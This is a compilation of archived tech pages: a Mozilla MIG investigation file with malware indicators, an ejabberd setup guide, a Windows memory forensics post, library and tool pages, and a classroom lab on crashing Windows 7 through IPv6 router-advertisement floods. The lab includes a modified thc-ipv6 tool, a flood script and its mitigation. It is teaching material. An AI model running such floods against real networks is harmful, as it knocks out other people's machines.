                  "/tmp",
                  "/var/tmp"
                ],
                "sha256": [
                  "73b0d95541c84965fa42c3e257bb349957b3be626dec9d55efcc6ebcba6fa489",
                  "ae3b4f296957ee0a208003569647f04e585775be1f3992921af996b320cf520b",
                  "2d3e0be24ef668b85ed48e81ebb50dce50612fb8dce96879f80306701bc41614",
                  "2ff32fcfee5088b14ce6c96ccb47315d7172135b999767296682c368e3d5ccac",
                  "1f5f14853819800e740d43c4919cc0cbb889d182cc213b0954251ee714a70e4b",
                  "2bc9a2f7374308d9bb97b8d116177d53eaca060b562f6f66f5dd1af71c9d7a66"
                ],
                "contents": [
                  "/bin/busybox;echo -e '\\\\147\\\\141\\\\171\\\\146\\\\147\\\\164'",
                  "legend.rocks"
                ],
                "names": [
                  "legend.txt"
                ]
              }
            }
          }
        },
        {
          "module": "netstat",
          "parameters": {
            "connectedip": [
              "108.162.197.26",
              "162.253.66.76",
              "89.238.150.154",
              "198.46.135.194",
              "166.78.61.142",
              "23.235.43.31",
              "54.228.25.245",
              "23.235.43.21",
              "23.235.43.27",
              "198.58.106.99",
              "23.235.43.25",
              "23.235.43.23",
              "23.235.43.29",
              "108.174.50.137",
              "201.67.234.45",
              "128.199.216.68",
              "75.127.84.182",
              "82.118.242.223",
              "24.251.197.244",
              "166.78.61.142",
              "119.110.98.93",
              "2.0.1.5"
            ]
          }
        }
      ],
      "description": {
        "author": "Julien Vehent",
        "email": "ulfr@mozilla.com",
        "revision": 201410031030
      },
      "syntaxversion": 2
    }
            
    
[/code]

## Clients

### Command Line

The command line is the primary interface of MIG Investigators. It provides
the basic set of commands to create investigations, sign them, publish them to
the API, and parse the results.

<img src='img/Temp2_4999.png' alt='MIG command line demo' />

### Console

The console is the terminal interface that allows investigators to control
MIG. It is terminal based, and runs on Linux and MacOS.

# \[OT\] Installing ejabberd on debian / ubuntu - SysMonBlog

**Created:**| _2/10/2010 8:09:39 PM_  
---|---  
**Updated:**| _2/10/2010 8:09:47 PM_  
**Author:**| __  
**Tags:**| _setup_  
  

# \[OT\] Installing ejabberd on debian / ubuntu

By snork on June 16, 2008 12:27 AM | 1 Comment | 5 TrackBacks
We wanted a Jabber server running on our own debian / ubuntu based machines
and we wanted it to “Just Work”.Installation is easy with Apt, but then you
need deal with configuration and this we found a little fiddly and confusing.
We found the existing documentation did not suit our requirements, so we’re
outlining what we did in the hope it might help someone else.Comments or
feedback are most welcome - details at the end of this post.

  * <img src='img/Temp2_10067.gif' alt='StumbleUpon Toolbar' />

# Why ejabberd

Our requirements were:

  * Secure SSH based communication
  * Get all chats logged on the server. This is more about archiving than about audit trails.
  * Available through debian/ubuntu’s apt based package management system

# Why not OpenFire?

OpenFire seems to be the more common solution. As far as we can tell it has
some weird dependencies specific to the Sun Java VM implementation. At the
very least,people have tried to build debian apt packages but I’ve not seen
any success to date.Namely, you can’t \(currently\) get OpenFire installed
soley via apt without having to start compiling things by hand. If you know
differently, please let us know.Just to be clear - a very specific requirement
for  _us_ was that everything was installable from stock debian/ubuntu deb
packages. We chose to reject any solution that required compiling sources.
Your mileage may vary on this point.

# Okay, so how?

First up, ensure your system is up to date and then grab ejabberd

[code]

    /etc/munin/plugins/sudo apt-get update
    sudo apt-get upgrade
    sudo apt-get install ejabberd
    
[/code]

# Configuration

Installing is the easy bit. Figuring out how to configure ejabberd on debian /
ubuntu was the tricky part. The documentation isn’t clear, and doesn’t seem to
be very debian / ubuntu specific.

[code]

    /etc/munin/plugins/sudo vi /etc/ejabberd/ejabberd.cfg
    
[/code]

The changes we made are outlined below.

[code]

    /etc/munin/plugins/%% Admin user
    {acl, admin, {user, "nemo", "sysmonblog.co.uk"}}.
    {acl, admin, {user, "coral", "sysmonblog.co.uk"}}.
    {acl, admin, {user, "dory", "sysmonblog.co.uk"}}.
    %% Hostname
    {hosts, ["sysmonblog.co.uk"]}.
    %% Notify this user whenever a new account is registered
    {registration_watchers, ["nemo@sysmonblog.co.uk"]}.
    %% This stops "in band" account registration 
    %% by any existing user
    {access, register, [{deny, all}]}.
    
[/code]

We also changed starttls to starttls\_required in the following stanza, to
\(hopefully\) prevent non ssl/tls enabled connections:

[code]

    /etc/munin/plugins/% Ordinary client-2-server service
    [{5222, ejabberd_c2s, [{access, c2s},
    {max_stanza_size, 65536},
    starttls_required, {certfile, "/etc/ejabberd/ejabberd.pem"},
    {shaper, c2s_shaper}]},
    
[/code]

Next, stop/start the ejabberd daemon

[code]

    /etc/munin/plugins/sudo /etc/init.d/ejabberd stop
    # it should tell you it isn't running
    sudo /etc/init.d/ejabberd start
    
[/code]

and finally, create the accounts \(the configs above only said that these
accounts would be admins. You still need to create \(or register\) the
accounts\).

[code]

    /etc/munin/plugins/
    ejabberdctl register nemo sysmonblog.co.uk xx
    ejabberdctl register coral  sysmonblog.co.uk xx
    ejabberdctl register dory   sysmonblog.co.uk xx
    ...
    
[/code]

replace xx with a more suitable set of passwords

# SSL / TLS certificates

When installed via apt a ssl certificate will be generated for you
automatically. However the “common name” will be set to “ejabberd”. It ought
to match the domain/ip you use for your “server” setting, in this case
“sysmonblog.co.uk”.Some clients won’t care. Adium does, and refuses to
remember to trust the certificate if the domain is wrong. Which means you can
connect, but each time you restart you need to tell it the certificate is
okay.To fix this:

[code]

    /etc/munin/plugins/
    sudo cp /etc/ejabberd/ejabberd.pem \
        /etc/ejabberd/orig.ejabberd.pem
    openssl req -new -x509 -newkey rsa:1024 -days 3650 \
        -keyout privkey.pem -out server.pem
    openssl rsa -in privkey.pem -out privkey.pem
    cat privkey.pem >> server.pem
    rm privkey.pem
    sudo mv server.pem /etc/ejabberd/ejabberd.pem
    
[/code]

It’ll ask you for a password in the first openssl step. It doesn’t seem to
matter what you pick.Of the other questions, the one that matters is **Common
Name** which should be your domain name.

[code]

    /etc/munin/plugins/
    Country Name (2 letter code) [AU]:
    State or Province Name (full name) [Some-State]:
    Locality Name (eg, city) []:
    Organization Name (eg, company) [Internet Widgits Pty Ltd]:
    Organizational Unit Name (eg, section) []:
    Common Name (eg, YOUR name) []: **sysmonblog.co.uk**
    Email Address []:
    
[/code]

# Firewalls and ports

Ensure any firewalling you have will allow port 5222 and 5223 through.

# Connecting from your Client

Pidgin is a fabulous IM client available for both Windows and Linux. The Mac
OS X port is called Adium.Both these tools allow you to consolidate MSN,
Windows Live, Yahoo\!, GTalk, AOL and many other accounts into a single place.
You no longer need multiple IM clients, and you don’t get all the ads. Explore
the plugins available for both and you will discover a rich world of features
to improve your IM lifestyle.They both also support Jabber.

  * Account name would be nemo@sysmonblog.co.uk
  * Password would be as set above
  * Server should be the ip or domain name of the machine running your ejabberd server. It doesn’t need to the same domain as you are using in your account names above.
  * Port should be 5222. If that fails, try 5223.

The last two might be tucked away under advance/preferences/options. But they
are specific to the account you are adding. They aren’t global Pidgin/Adium
settings.

# See Also

The manual has a section on configuration variables and what they do. You
probably want to stop/start the ejabberd process \(using the init.d lines
shown above\) if you make further changes to your ejabberd.cnf

Ken covers specifics of running ejabberd on Amazon EC2 instances, and the svn
dns records required for making federation work properly. Federation allows
your jabber users to chat with other jabber users, who’re registered on
different jabber servers.

# Feedback

If you have any better examples or feedback let us know in the comments, or
drop us an email on sysmonblog@googlemail.com.

  *[June 16, 2008 12:27 AM]: 2008-06-16T00:27:55+00:00

# Project 8x: Win 7 DoS by RA Packets \(20 pts.\)

**Created:**| _3/30/2011 5:53:09 AM_  
---|---  
**Updated:**| _3/30/2011 5:53:23 AM_  
**Author:**| __  
**Tags:**| _attacks windows security ipv6_  
  

# Project 8x: Win 7 DoS by RA Packets \(20 pts.\)

## What you Need

  * A Linux attacker--I used BackTrack 4 R2 in a virtual machine
  * A Windows 7 target
  * **AN ISOLATED NETWORK\! This is a very dangerous zero-day attack\! It will freeze or even crash every Windows machine in its broadcast domain\! Do NOT do it at work, on a VM in Bridged mode, in any CCSF lab other than S214, in a public coffeehouse, etc.**

## Isolating your Network

The simplest way to do it is to run both the attacker and defender as virtual
machines on the same host, and run in NAT networking mode.

Another way to do it is to use a router from the closet in S214 and physically
isolate your machines from the rest of the network.

If you do not understand the last two sentences, STOP and do not attempt this
project. WAIT until you can get supervision from Sam or another student who
understands what network isolation is.

## Start the Target Windows 7 Machine

Start the Windows 7 target machine and log in.

Open a Command Prompt and execute the IPCONFIG commmand. You should see an
IPv6 address starting with fe80::, as shown below on this page:

<img src='img/Temp2_6429.png' />

## Downloading and Compiling thc-ipv6

BackTrack 4 R2 includes the thc-ipv6 attack toolkit, but for some reason I
cannot modify and recompile the tools. And you may be better off using Ubuntu
for this project anyway, because IPv6 seems to be very unstable and unreliable
in BackTrack. So we will just download the tools and compile them.

In the Linux machine, open Firefox and go to

http://freeworld.thc.org/thc-ipv6

Click the **thc-ipv6-1.4.tar.gz** link. In the "Opening thc-ipv6-1.4.tar.gz"
box, click the "Save File" button. Click **OK**.

Save the file in the **root** directory.

On your Linux machine, in a Terminal window, execute these commands:

> **`apt-get install libnet-pcap-perl`**
> **`apt-get install libpcap0.8-dev`**
> **`apt-get install libssl-dev`**
> **`cd /root`**
> **`tar xzf thc-ipv6-1.4.tar.gz`**
> **`cd thc-ipv6-1.4`**
> **`make`**
## Sending a Single Router Advertisement

On the Linux machine, execute these commands:

> **`cd /root/thc-ipv6-1.4`**
> **`./fake_router6 eth0 1::/64`**
This starts sending Router Advertisements. Press Ctrl+C to stop it--one RA is
all we need.

## Observing the New IPv6 Address on the Windows 7 Target Machine

On the Windows 7 target machine, in the Command Prompt window, execute the
IPCONFIG commmand. You should see two IPv6 addresses starting with 1::, as
shown below on this page:

<img src='img/Temp2_6424.png' />

These addresses are there because the Stateless Autoconfiguration process is
operating by default, creating IPv6 addresses in response to every Router
Advertisement packet the Windows 7 machine receives.

The problem is that Windows consumes far too much CPU time to configure these
addresses, as we will see below.

## Creating the single\_ra Attack Tool

The **fake\_router6** tool sends a series of identical Router Advertisement
packets, but we want to send only one. So we need to modify the tool.

On the Linux machine, execute these commands:

> **`cd /root/thc-ipv6-1.4`**
> **`cp fake_router6.c single_ra.c`**
> **`nano single_ra.c`**
Press the down-arrow key to scroll to the end of the file. You should see the
last few lines of C code, as shown below on this page:

<img src='img/Temp2_6417.png' />

Move the cursor to the **printf** command and press **Ctrl+K** to delete it.

Press **Ctrl+K** again to delete the **while \(1\) \{** line.

Press the down-arrow key to move just below the line starting with
**thc\_send**.

Press **Ctrl+K** twice more to delete the **sleep\(5\)** line and the line
below it.

Your screen should now look like the figure shown below on this page:

<img src='img/Temp2_6428.png' />

Save the file by pressing **Ctrl+X** , **Y** , **Enter**.

### Modifying the Makefile

On the Linux machine, execute this commands:

> **`nano Makefile`**
Use the arrow keys to move to the right-hand end of the line beginning with
**PROGRAMS=**.

Append **single\_ra** to the end of that line, as shown below on this page:

<img src='img/Temp2_6423.png' />

Save the file by pressing **Ctrl+X** , **Y** , **Enter**.

On the Linux machine, execute these commands:

> **`make`**
> **`./single_ra eth0 3::/64`**
On the Windows 7 target machine, in the Command Prompt window, execute the
IPCONFIG commmand. You should see IPv6 addresses starting with 3::, as shown
below on this page:

<img src='img/Temp2_6425.png' />

## Creating the slow\_flood Tool

On the Linux machine, execute this command:

> **`nano slow_flood`**
Enter this program into the editor, as shown below on this page:

> **`#!/bin/bash  
>  
>  for i in {1..100}  
>  do  
>  for j in $(eval echo {1..$1})  
>  do  
>  ./single_ra eth0 "4:$i:$j::/64"  
>  done  
>  echo "Sent $1 RAs for network 4:$i"  
>  sleep 1  
>  done  
> `**
<img src='img/Temp2_6418.png' />

Save the file by pressing **Ctrl+X** , **Y** , **Enter**.

On the Linux machine, execute these commands:

> **`chmod a+x slow_flood`**
> **`./slow_flood 1`**
You should see messages scrolling by on the Linux machine, like this:

<img src='img/Temp2_6422.png' />

On the Windows 7 target, in a Command Prompt window, execute the IPCONFIG
command. You should see a lot of IPv6 addresses, as shown below on this page:

<img src='img/Temp2_6421.png' />

## Saving the Image

Save a screen image showing many IPv6 addresses. Give it a filename of **Proj
8x from YOUR NAME**.

## Restoring the Windows Target to a Normal State

On the Linux machine, if the slow\_flood attack is still running, type
**Ctrl+C** to stop it.

If the Windows machine is unresponsive, you will need to power it off and
start it again.

If the Windows machine still works, click **Start** and type in **NETWORK
CONNECTIONS**. Click **View network connections**. Right-click "Local Area
Connection" and click **Disable**.

Right-click "Local Area Connection" and click **Enable**.

In a Command Prompt window, execute the IPCONFIG command. Verify that all the
extra IPv6 addresses are gone.

## Measuring the Burden on the Windows Target

On the Windows target, right-click the taskbar at the bottom of the desktop
and click **Start Task Manager**.

In Task Manager, click the **Performance** tab. The CPU Usage History should
be near 0%, as shown in the figure below on this page:

<img src='img/Temp2_6420.png' />

## Restarting the Attack

On the Linux machine, execute this command:

> **`./slow_flood 1`**
You should see the CPU usage rise to a steady value during the attack, as
shown below on this page. On my system, one RA per second caused a CPU usage
of about 21%.

<img src='img/Temp2_6419.png' />

## Testing Faster Attacks

On the Linux machine, try other numbers of RAs per second and see how many it
takes to stop the Windows target completely, such as 6 RAs per second with
this command:

> **`./slow_flood 6`**
In my tests, 6 RAs per second were enough to use 100% of the CPU.

<img src='img/Temp2_6426.png' />

## Mitigation

As far as I know, there is no patch yet from Microsoft. Disabling IPv6
protects your Windows machines, but that is an excessively drastic solution. I
therefore recommend turning off Router Discovery.

On the Windows target, click **Start** and type in CMD. In the Search Results,
right-click "**cmd - Shortcut** " and click "**Run as administrator** ". In
the "User Account Control" box, click **Yes**.

In the Administrator Command Prompt window, enter this command, and then press
the Enter key:

> **`netsh interface ipv6 set interface"Local Area Connection"
> routerdiscovery=disabled`**
## Showing that the Attack is Now Harmless

On the Linux machine, restart an attack that is fast enough to heavily burden
the Windows machine, such as:

> **`./slow_flood 6`**
The Windows machine should no longer show a high CPU from this attack, as
shown below on this page.

<img src='img/Temp2_6427.png' />

## Turning In Your Project

Email the image to **cnit.124@gmail.com** with a subject line of **Proj 8x
from YOUR NAME**.

## References

I found that solution here:

http://social.technet.microsoft.com/Forums/en-
US/w7itpronetworking/thread/768252f8-8872-453b-aa8f-1c4fd6c52856

Multiple Vendors IPv6 Neighbor Discovery Router Advertisement Remote Denial of
Service Vulnerability

CVE-2010-4669 - Router Advertisements Cause DoS in Windows

* * *
Written by Sam Bowne on 3-26-11; last modified 5 pm 3-26-11

# Cello • High Level Programming C

**Created:**| _5/8/2014 1:32:13 PM_  
---|---  
**Updated:**| _5/8/2014 1:32:13 PM_  
**Author:**| __  
**Tags:**| _C devtools_  
  

# Cello • High Level Programming C

**Cello** is a _library_ that introduces higher level programming to C.

>   * **Interfaces** allow for structured design
>   * **Duck Typing** allows for generic functions
>   * **Exceptions** control error handling
>   * **Constructors/Destructors** aid memory management
>   * **Syntactic Sugar** increases readability
>   * **C Library** means excellent performance and integration
>

[code]

    /* Example libCello Program */
    
    #include "Cello.h"
    
    int main(int argc, char** argv) {
    
      /* Stack objects are created using "$" */
      var int_item = $(Int, 5);
      var float_item = $(Real, 2.4);
      var string_item = $(String, "Hello");
    
      /* Heap objects are created using "new" */
      var items = new(List, int_item, float_item, string_item);
    
      /* Collections can be looped over */
      foreach (item in items) {
        /* Types are also objects */
        var type = type_of(item);
        print("Object %$ has type %$\n", item, type);
      }
    
      /* Heap objects destroyed with "delete" */
      delete(items); 
    }
    
[/code]

## Quickstart

* * *
For more examples please take a look at the quickstart documentation section:

Or some articles about the creation:

Or a longer example:

[code]

    /* Another Example Cello Program */
    
    #include "Cello.h"
    
    int main(int argc, char** argv) {
    
      /* Tables require "Eq" and "Hash" on key type */
      var prices = new(Table, String, Int);
      put(prices, $(String, "Apple"),  $(Int, 12)); 
      put(prices, $(String, "Banana"), $(Int,  6)); 
      put(prices, $(String, "Pear"),   $(Int, 55));
    
      /* Tables also supports iteration */
      foreach (key in prices) {
        var price = get(prices, key);
        print("Price of %$ is %$\n", key, price);
      }
    
      /* "with" automatically closes file at end of scope. */
      with (file in open($(File, NULL), "prices.bin", "wb")) {
    
        /* First class function object */
        lambda(write_pair, args) {
    
          /* Run time type-checking with "cast" */
          var key = cast(at(args, 0), String);
          var val = cast(get(prices, key), Int);
    
          try {
            print_to(file, 0, "%$ :: %$\n", key, val);
          } catch (e in IOError) {
            println("Could not write to file - got %$", e);
          }
    
          return None;
        };
    
        /* Higher order functions */
        map(prices, write_pair);
      }
    
      delete(prices);
    }
    
[/code]

## Inspiration

* * *
The high level stucture of Cello projects is inspired by _Haskell_ , while the
syntax and semantics are inspired by _Python_ and _Obj-C_. Cello is not about
_Object Orientation_ in C. Instead it provides tools that turn C into
something of a _dynamic_ and _powerful_ functional language. A path it may
have gone down in an alternate reality.

Although the syntax is pleasant, Cello _isn't_ a library for beginners. It is
for C power users, as manual memory management doesn't play nicely with many
higher-order concepts. Most of all, Cello is a fun experiment to see what C
would look like when hacked to its limits.

## Contributions

* * *
Cello is licensed under BSD3.

Contributions are welcomed via github.

For queries please visit the IRC channel `#libcello` on Freenode.

Or send them to `contact@theorangeduck.com`.

# MNIN Security Blog: The Mis-leading 'Active' in PsActiveProcessHead and
ActiveProcessLinks

**Created:**| _4/7/2011 4:57:28 PM_  
---|---  
**Updated:**| _4/7/2011 4:57:28 PM_  
**Author:**| __  
**Tags:**| _reversing windows environment_  
  

### The Mis-leading 'Active' in PsActiveProcessHead and ActiveProcessLinks

On Windows, the nt\!PsActiveProcessHead symbol points to a doubly-linked list
of EPROCESS objects. It is very well documented as being the primary source of
"current" or "active" processes. However, while using Volatility to analyze a
Windows 7 memory dump, Gleeda and I discovered that the pslist command was
showing something odd. In fact, I noticed the odd behavior a while back and
never got a chance to look into it. The odd thing was that the pslist included
info for some terminated processes. But shouldn't everything in
PsActiveProcessHead and ActiveProcessLinks be, well...active?  
  
For example, take a look at the following output. The MSBuild.exe and 4 copies
of vcpkgsrv.exe are all in the doubly-linked list, but none of them are still
running.  
  
$ python vol.py -f Windows7.vmem --profile=Win7SP0x86 pslist  
Volatile Systems Volatility Framework 1.4\_rc1  
Name Pid PPid Thds Hnds Time  
System 4 0 94 467 2011-02-16 14:18:23  
smss.exe 256 4 2 29 2011-02-16 14:18:23  
csrss.exe 344 336 10 718 2011-02-16 14:18:33  
\[snip\]  
svchost.exe 3388 512 14 346 2011-02-16 14:20:58  
devenv.exe 3640 1148 20 713 2011-02-16 14:21:29  
MSBuild.exe 2732 3640 0 ------ 2011-02-16 14:30:01  
vcpkgsrv.exe 3900 3640 0 ------ 2011-02-16 14:39:52  
vcpkgsrv.exe 3496 3640 0 ------ 2011-02-16 14:52:28  
vcpkgsrv.exe 3984 3640 0 ------ 2011-02-16 14:52:38  
vcpkgsrv.exe 188 3640 0 ------ 2011-02-16 14:56:19  
\[snip\]  
  
To make sure the output is accurate, I cross-referenced the data with WinDbg
on the machine from which the memory dump was acquired. Using a command
presented in Chapter 14 of Malware Analyst's Cookbook \(and later enhanced by
Matthieu Suiche\), I asked the debugger to print information on the objects in
PsActiveProcessHead. Sure enough, it too shows that these inactive processes
are still in the active process list:  
  
kd> \!list "-t nt\!\_EPROCESS.ActiveProcessLinks.Flink -e -x \"dt
nt\!\_EPROCESS
ImageFileName\"\(poi\(nt\!PsActiveProcessHead\)-@@c++\(\#FIELD\_OFFSET\(nt\!\_EPROCESS,ActiveProcessLinks\)\)\)"  
  
\[snip\]  
  
dt nt\!\_EPROCESS ImageFileName 0xffffffff8435ba58  
+0x16c ImageFileName : \[15\] "MSBuild.exe"  
  
dt nt\!\_EPROCESS ImageFileName 0xffffffff8436e548  
+0x16c ImageFileName : \[15\] "vcpkgsrv.exe"  
  
dt nt\!\_EPROCESS ImageFileName 0xffffffff86177030  
+0x16c ImageFileName : \[15\] "vcpkgsrv.exe"  
  
dt nt\!\_EPROCESS ImageFileName 0xffffffff843c0380  
+0x16c ImageFileName : \[15\] "vcpkgsrv.exe"  
  
dt nt\!\_EPROCESS ImageFileName 0xffffffff854d91a8  
+0x16c ImageFileName : \[15\] "vcpkgsrv.exe"  
  
\[snip\]  
  
How do I know that these processes are not actually running? Well for one,
Volatility reports zero threads and an invalid EPROCESS.ObjectTable \(handle
table\) pointer. Plus tools like SysInternals Process Explorer don't show
anything about them.  
  
So the questions are:  
  
1\) When do processes get removed from the PsActiveProcessHead  
2\) What are the conditions \(if any\) that must be met before removal takes
place  
  
Until recently, I thought that the answer to number 1 was obvious - a process
is removed from PsActiveProcessHead immediately after it terminates. But
that's not the case. I searched a bit in Windows Internals 5th Edition, which
discusses process creation in great detail. However, it doesn't cover too much
of process termination. Instead I used the trusty IDA Pro to find which
function is responsible for removing a process. It happens inside
nt\!PspProcessDelete:  
  
<img src='img/PspDeleteProcess.png' />Now the question changes to "when is
PspProcessDelete called." It isn't called directly by any function. Rather, it
is moved into the DeleteProcedure member of an OBJECT\_TYPE\_INITIALIZER
structure when the kernel first defines the default behaviors for all EPROCESS
objects. This happens in nt\!PspInitPhase0:  
  
<img src='img/PspInitPhase0.png' />After seeing these clues, the life cycle of
an object came into mind. Also as described in Windows Internals, the Object
Manager tracks handles and references to an object, and only allows the object
to be freed when the reference count reaches zero. And now it makes sense how
a process can terminate but stay in the PsActiveProcessHead linked list.
Here's a description of what I believe to be the most likely explanation:  
  
1\) Process A \(the parent\) creates Process B with an API such as
CreateProcess. The PROCESS\_INFORMATION parameter to this API is filled with a
handle to Process B if the creation is successful.  
  
2\) Process B is terminated, either on its own or as the result of a user
killing it. At this point, the thread count reaches zero, the
EPROCESS.ObjectTable is set to NULL, and the EPROCESS.ExitTime is filled in.  
  
3\) Process A fails to call CloseHandle to decrement the reference count on
Process B. Thus, the DeleteProcedure for Process B is never called and it is
never removed from PsActiveProcessHead.  
  
To test out my theory, I wrote a simple program that looks like this:  
  
void main \(void\)  
\{  
STARTUPINFOA StartupInfo;  
PROCESS\_INFORMATION ProcessInfo;  
  
ZeroMemory\(&StartupInfo, sizeof\(STARTUPINFOA\)\);  
ZeroMemory\(&ProcessInfo, sizeof\(PROCESS\_INFORMATION\)\);  
StartupInfo.cb = sizeof\(STARTUPINFOA\);  
  
CreateProcessA\(NULL, "notepad.exe", NULL, NULL, FALSE, 0, NULL, NULL,
&StartupInfo, &ProcessInfo\);  
  
getchar\(\); //block until user presses a key  
  
CloseHandle\(ProcessInfo.hThread\);  
CloseHandle\(ProcessInfo.hProcess\);  
\}  
  
The program creates a child process \(notepad.exe\) and remains running. This
gives you a chance to use tools and verify the two new processes were created.
Then you can close notepad.exe and watch it disappear from Process Explorer,
but remain in PsActiveProcessHead \(via the WinDbg command or Volatility's
pslist\). It is only when you type a character into my sample program that it
progresses past the getchar\(\) call. At this point, it closes its handle to
notepad.exe, the reference count reaches zero, the EPROCESS object is marked
for deletion, and it is removed from PsActiveProcessHead.  
  
Before today, I would have said that an object scanning technique was the only
way to identify terminated processes in a memory dump, but now we have
another. Of course, it takes some getting lucky - for example a malware sample
that launches various child processes and never closes the handles even after
the child processes die.  
  
And that, my friends, is the story of the mis-leading 'Active' in
PsActiveProcessHead and ActiveProcessLinks\!

# Swiss File Knife - A Command Line Tools Collection for Windows
\(7/Vista/XP\), Mac OS X, Linux and Raspberry Pi

**Created:**| _8/21/2015 5:31:59 PM_  
---|---  
**Updated:**| _8/26/2015 12:58:34 PM_  
**Author:**| __  
**Tags:**| _bookmark cheat sheets_  
  

<img src='img/Temp2_7803.png' />

**Swiss File Knife - A Command Line Tools Collection**

  

combines many functions in a single, portable executable that belongs onto
every USB stick. Search and convert text files, instant simple FTP/HTTP
server, find duplicate files, compare folders, treesize, run own commands on
all files of a folder - it's all within a single tool.

  

Download SFK for Windows here or from SourceForge. You may also download the
.zip file with all binaries and source code for Windows \(7/Vista/XP\), Linux
and Mac, the Intel Linux binary for 32 bits Ubuntu, the binary for libc5
systems like DSL, for 64 bits Intel Linux, for 32 bits ARM Linux
like on Raspberry Pi, the Mac OS X binaries as i686 DMG, exe or for PowerPC.
No installation, instant use.

  

  

  

Windows: after download, open a command line \(CMD.exe\) then CD into the
download folder and type "sfk" for the help text. Mac OS X: open the .DMG then
control+click on the contained script and select Open. Linux: after download,
open a command line or terminal, then rename to sfk like "mv sfk-linux.exe
sfk", make it executable by "chmod +x sfk" and type "./sfk"

  

<img src='img/Temp2_7794.png' alt='SFK for Windows screenshot on white
background' />

Windows

  

<img src='img/Temp2_7797.png' alt='SFK for Linux screenshot on dark
background' />

Linux

  

<img src='img/Temp2_7793.png' alt='SFK for Mac OS X screenshot on bright
background' />

Mac OS X

  

Intense users may be interested in Swiss File Knife Extended Edition \(XE\)
which features

a high performance replace command for large text and binary files, and which
can also

read .zip, .jar, .tar.gz and .tar.bz2 file contents. Read more on that here.

The current version is **1.7.5.2** Read the list of recent changes here.

You may place questions in the sfk forums, or submit a tracker request.

For software download sites: the SFK PAD file is available here.

  

**SFK Icons** and example code for linking can be found here.

  

Now follows the SFK for Windows syntax overview. \(On Mac OS X and Linux,
replace every \! character by :, and every $ by \#. Type wildcards with a
preceeding slash: \\\* and \?\)

  

SFK - The Swiss File Knife File Tree Processor.  
Release 1.7.5 Base/XD Revision 2 of Aug 11 2015.  
StahlWorks Technologies, http://stahlworks.com/  
Distributed for free under the BSD License, without any warranty.  
**type "sfk commandname" for help on any of the following.**  
some commands require to add "-help" for the help text.  
  
  **file system**  
      sfk list      \- list directory tree contents.  
                      list latest, oldest or biggest files.  
                      list directory differences.  
                      list zip jar tar gz bz2 contents.  
      sfk filefind  \- find files by filename  
      sfk treesize  \- show directory size statistics  
      sfk copy      \- copy directory trees additively  
      sfk sync      \- mirror tree content with deletion  
      sfk rename    \- flexible multi file rename  
      sfk partcopy  \- copy part from a file into another one  
      sfk mkdir      \- create directory tree  
      sfk delete    \- delete files and folders  
      sfk deltree    \- delete whole directory tree  
      sfk deblank    \- remove blanks in filenames  
      sfk space \[-h\] - tell total and free size of volume  
      sfk filetime  \- tell times of a file  
      sfk touch      \- change times of a file  
      sfk index      \- create index file\(s\) for fast lookup  
      sfk iname      \- lookup file names using index files  

  

<img src='img/Temp2_7795.png' alt='Download sfk.exe for the Windows command
line' />

<img src='img/Temp2_7798.png' alt='Download sfk for 32 bits Linux (modern
systems like Ubuntu)' />

<img src='img/Temp2_7800.png' alt='Download sfk for 64 bits Linux' />

<img src='img/Temp2_7796.png' alt='Download sfk for the Mac OS/X terminal
(i686)' />

<img src='img/Temp2_7792.png' alt='SFK Mobile Booklet' />

<img src='img/Temp2_7791.png' alt='Source code and more binaries on
Sourceforge' />

  
  **conversion**  
      sfk addcrlf \- convert from LF to CRLF line endings  
      sfk crlf-to-lf \- convert from CRLF to LF line endings  
      sfk detab      \- convert TAB characters to spaces  
      sfk entab      \- convert groups of spaces to TAB chars  
      sfk scantab    \- list files containing TAB characters  
      sfk split      \- split large files into smaller ones  
      sfk join      \- join small files into a large one  
      sfk csvtotab  \- convert .csv data to tab separated  
      sfk tabtocsv  \- convert tab separated to .csv format  
      sfk hexdump    \- create hexdump from a binary file  
      sfk hextobin  \- convert hex data to binary  
      sfk hex        \- convert decimal number\(s\) to hex  
      sfk dec        \- convert hex number\(s\) to decimal  
      sfk chars      \- print chars for a list of codes  
      sfk bin-to-src \- convert binary to source code  

  

<img src='img/Temp2_7795.png' alt='Download sfk.exe for the Windows command
line' />

<img src='img/Temp2_7798.png' alt='Download sfk for 32 bits Linux (modern
systems like Ubuntu)' />

<img src='img/Temp2_7800.png' alt='Download sfk for 64 bits Linux' />

<img src='img/Temp2_7796.png' alt='Download sfk for the Mac OS/X terminal
(i686)' />

<img src='img/Temp2_7792.png' alt='SFK Mobile Booklet' />

<img src='img/Temp2_7791.png' alt='Source code and more binaries on
Sourceforge' />

  
  **text processing**  
      sfk filter    \- search, filter and replace text data  
      sfk replace    \- replace words in binary and text files  
      sfk xex        \- extract text from stream using expressions  
      sfk xed        \- XE: edit text stream using sfk expressions  
      sfk xreplace  \- XE: replace in files using sfk expressions  
      sfk run        \- run command on all files of a folder  
      sfk runloop    \- run a command n times in a loop  
      sfk printloop  \- print some text many times  
      sfk head      \- print first lines of a file  
      sfk tail      \- print last lines of a file  
      sfk snapto    \- join many text files into one file  
      sfk addhead    \- insert string at start of text lines  
      sfk addtail    \- append string at end of text lines  
      sfk joinlines  \- join text lines split by email reformatting  
      sfk strings    \- extract strings from a binary file  
      sfk sort      \- sort text lines produced by another command  
      sfk count      \- count text lines, filter identical lines  
      sfk linelen    \- tell length of string\(s\)  
      sfk patch      \- change text files through a script  
      sfk inst      \- instrument c++ sourcecode with tracing calls  

  

<img src='img/Temp2_7795.png' alt='Download sfk.exe for the Windows command
line' />

<img src='img/Temp2_7798.png' alt='Download sfk for 32 bits Linux (modern
systems like Ubuntu)' />

<img src='img/Temp2_7800.png' alt='Download sfk for 64 bits Linux' />

<img src='img/Temp2_7796.png' alt='Download sfk for the Mac OS/X terminal
(i686)' />

<img src='img/Temp2_7792.png' alt='SFK Mobile Booklet' />

<img src='img/Temp2_7791.png' alt='Source code and more binaries on
Sourceforge' />

  
  **search and compare**  
      sfk find      \- find words in text and binary files  
      sfk ftext      \- find words only in text files  
  

  

<img src='img/Temp2_7802.png' />

Fly over all text files of a folder as you type.

Portable Freeware based on Swiss File Knife.

  

  
      sfk hexfind    \- find words in binary files, showing hexdump  
      sfk xfind      \- find using wildcards and sfk expressions  
      sfk xtext      \- find using wildcards in text files only  
      sfk xhexfind  \- same as xfind but with hexdump output  
      sfk extract    \- extract data from files using expressions  
      sfk md5gento  \- create list of md5 checksums over files  
      sfk md5check  \- verify list of md5 checksums over files  
      sfk md5        \- calc md5 over a file, compare two files  
      sfk pathfind  \- search PATH for location of a command  
      sfk reflist    \- list fuzzy references between files  
      sfk deplist    \- list fuzzy dependencies between files  
      sfk dupfind    \- find duplicate files by content  

  

